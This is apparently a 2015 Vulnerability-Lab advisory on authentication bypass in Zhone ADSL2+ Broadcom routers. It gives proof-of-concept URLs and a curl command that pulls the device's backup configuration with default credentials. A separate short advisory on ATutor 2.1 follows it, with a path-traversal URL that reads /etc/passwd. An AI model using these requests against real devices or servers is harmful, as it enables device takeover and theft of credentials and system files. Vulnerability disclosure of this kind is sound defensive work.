Product: Zhone ADSL2+ 4 Port Bridge (Broadcom) & Zhone ADSL2+ 4 Port Router (Broadcom) 6218-I2-xxx - FW: 03.02.20


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An authentication bypass vulnerability has been discovered in the official in the official Zhone ADSL2+ 4 Port Wireless Bridge & Router (Broadcom).
The vulnerability allows remote attackers to bypass the authentication procedure to compromise the hardware device or service interface.

The first vulnerability is located in the session validation when processing to request via GET (outside the network) the `pvccfg.cgi`,`dnscfg.cgi` 
and `password.cgi` files. Thus can results in a reconfiguration by the attacker to compromise the hardware device. 

The second vulnerability is located in the backupsettings.conf file access rights. Remote attackers can easily request via curl the backupsettings 
of the hardware device. Thus can result in an easy take-over of the hardware device via an information disclosure by accessing the backupsettings.conf.

The security risk of both vulnerabilities are estimated as high with a cvss (common vulnerability scoring system) count of 8.8. Exploitation of the access 
privilege issue requires no privilege application user account or user interaction. Successful exploitation of the bug results in hardware device compromise.

Request Method(s):
				[+] GET

Vulnerable Model(s):
				[+] Zhone ADSL2+ 4 Port Bridge (Broadcom)
				[+] Zhone ADSL2+ 4 Port Router (Broadcom)

Affected Firmware:
				[+] 03.02.20

Product Name:
				[+] 6218-I2-xxx


Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers without privilege device user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: #1 
http://[LOCALHOST]:?/pvccfg.cgi
http://[LOCALHOST]:?/dnscfg.cgi
http://[LOCALHOST]:?/password.cgi  (In addition to text storage of sensitive information!)

Note: The links above can be accessed without any authentication in the interface!


PoC: #2
curl "http://<IP>/backupsettings.conf" -H "Authorization: Basic dXNlcjp1c2Vy" ("dXNlcjp1c2Vy" = "user:user" in base64)

Note: Obtaining backup DSL router configurations by an users account authentication!


Security Risk:
==============
The security risk of the both vulnerabilities in the bridge and wireless router interface is estimated as high. (CVSS 8.8)


Credits & Authors:
==================
Mahmoud Khaled - [mahmoud_khld@yahoo.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
HireHackking 
source: https://www.securityfocus.com/bid/56600/info

ATutor is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

ATutor 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd